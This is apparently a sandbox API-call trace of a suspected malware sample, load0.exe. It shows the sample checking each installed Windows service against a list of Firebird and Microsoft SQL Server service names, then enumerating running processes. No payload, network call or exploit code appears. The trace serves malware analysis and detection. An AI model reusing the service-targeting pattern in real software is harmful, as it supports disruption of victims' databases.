[0246.266] lstrlenW (lpString="NgcSvc") returned 6 [0246.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0246.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0246.266] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0246.266] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0246.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0246.266] lstrlenW (lpString="NlaSvc") returned 6 [0246.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0246.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0246.266] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0246.266] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0246.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0246.266] lstrlenW (lpString="nsi") returned 3 [0246.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0246.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0246.267] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0246.267] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0246.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0246.267] lstrlenW (lpString="PcaSvc") returned 6 [0246.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0246.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0246.267] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0246.267] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0246.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0246.267] lstrlenW (lpString="PlugPlay") returned 8 [0246.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0246.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0246.267] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0246.267] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0246.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0246.267] lstrlenW (lpString="Power") returned 5 [0246.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0246.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0246.267] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0246.267] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0246.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0246.267] lstrlenW (lpString="ProfSvc") returned 7 [0246.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0246.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0246.267] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0246.267] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0246.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0246.267] lstrlenW (lpString="RpcEptMapper") returned 12 [0246.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0246.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0246.267] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0246.267] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0246.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0246.267] lstrlenW (lpString="RpcSs") returned 5 [0246.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0246.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0246.268] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0246.268] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0246.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0246.268] lstrlenW (lpString="SamSs") returned 5 [0246.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0246.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0246.268] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0246.268] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0246.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0246.268] lstrlenW (lpString="Schedule") returned 8 [0246.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0246.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0246.268] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0246.268] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0246.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0246.268] lstrlenW (lpString="SecurityHealthService") returned 21 [0246.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0246.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0246.268] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0246.268] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0246.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0246.268] lstrlenW (lpString="SENS") returned 4 [0246.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0246.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0246.268] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0246.268] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0246.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0246.268] lstrlenW (lpString="ShellHWDetection") returned 16 [0246.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0246.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0246.268] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0246.268] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0246.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0246.268] lstrlenW (lpString="Spooler") returned 7 [0246.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0246.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0246.268] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0246.269] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0246.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0246.269] lstrlenW (lpString="StateRepository") returned 15 [0246.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0246.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0246.269] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0246.269] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0246.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0246.269] lstrlenW (lpString="SysMain") returned 7 [0246.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0246.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0246.269] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0246.269] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0246.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0246.269] lstrlenW (lpString="SystemEventsBroker") returned 18 [0246.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0246.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0246.269] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0246.269] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0246.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0246.269] lstrlenW (lpString="Themes") returned 6 [0246.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0246.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0246.269] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0246.269] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0246.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0246.269] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0246.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0246.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0246.538] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0246.538] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0246.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0246.538] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0246.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0246.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0246.539] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0246.539] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0246.539] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f60ff8 | out: hHeap=0x630000) returned 1 [0246.539] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11e4 [0246.547] Process32FirstW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.548] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0246.549] lstrlenW (lpString="System") returned 6 [0246.549] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0246.550] lstrlenW (lpString="smss.exe") returned 8 [0246.550] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.551] lstrlenW (lpString="csrss.exe") returned 9 [0246.551] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0246.552] lstrlenW (lpString="wininit.exe") returned 11 [0246.552] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.552] lstrlenW (lpString="csrss.exe") returned 9 [0246.552] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0246.553] lstrlenW (lpString="winlogon.exe") returned 12 [0246.553] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0246.554] lstrlenW (lpString="services.exe") returned 12 [0246.554] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0246.555] lstrlenW (lpString="lsass.exe") returned 9 [0246.555] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0246.555] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0246.555] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0246.556] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0246.556] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.557] lstrlenW (lpString="svchost.exe") returned 11 [0246.557] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.558] lstrlenW (lpString="svchost.exe") returned 11 [0246.558] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0246.559] lstrlenW (lpString="dwm.exe") returned 7 [0246.559] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.559] lstrlenW (lpString="svchost.exe") returned 11 [0246.559] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.560] lstrlenW (lpString="svchost.exe") returned 11 [0246.560] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.561] lstrlenW (lpString="svchost.exe") returned 11 [0246.561] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.562] lstrlenW (lpString="svchost.exe") returned 11 [0246.562] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.563] lstrlenW (lpString="svchost.exe") returned 11 [0246.563] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.564] lstrlenW (lpString="svchost.exe") returned 11 [0246.564] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.565] lstrlenW (lpString="svchost.exe") returned 11 [0246.565] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.566] lstrlenW (lpString="svchost.exe") returned 11 [0246.566] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.567] lstrlenW (lpString="svchost.exe") returned 11 [0246.567] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.567] lstrlenW (lpString="svchost.exe") returned 11 [0246.567] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0246.568] lstrlenW (lpString="spoolsv.exe") returned 11 [0246.568] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.569] lstrlenW (lpString="svchost.exe") returned 11 [0246.569] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0246.569] lstrlenW (lpString="audiodg.exe") returned 11 [0246.569] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0246.570] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0246.570] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0246.571] lstrlenW (lpString="Memory Compression") returned 18 [0246.571] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0246.571] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0246.572] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0246.740] lstrlenW (lpString="taskhostw.exe") returned 13 [0246.740] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0246.741] lstrlenW (lpString="sihost.exe") returned 10 [0246.741] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.742] lstrlenW (lpString="svchost.exe") returned 11 [0246.742] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0246.743] lstrlenW (lpString="taskhostw.exe") returned 13 [0246.743] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0246.744] lstrlenW (lpString="msoia.exe") returned 9 [0246.744] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0246.745] lstrlenW (lpString="explorer.exe") returned 12 [0246.745] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0246.746] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0246.746] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0246.746] lstrlenW (lpString="SearchUI.exe") returned 12 [0246.747] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0246.747] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0246.747] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0246.749] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0246.749] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0246.749] lstrlenW (lpString="load0.exe") returned 9 [0246.750] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0246.750] lstrlenW (lpString="cmd.exe") returned 7 [0246.750] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0246.751] lstrlenW (lpString="conhost.exe") returned 11 [0246.751] Process32NextW (in: hSnapshot=0x11e4, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0246.752] 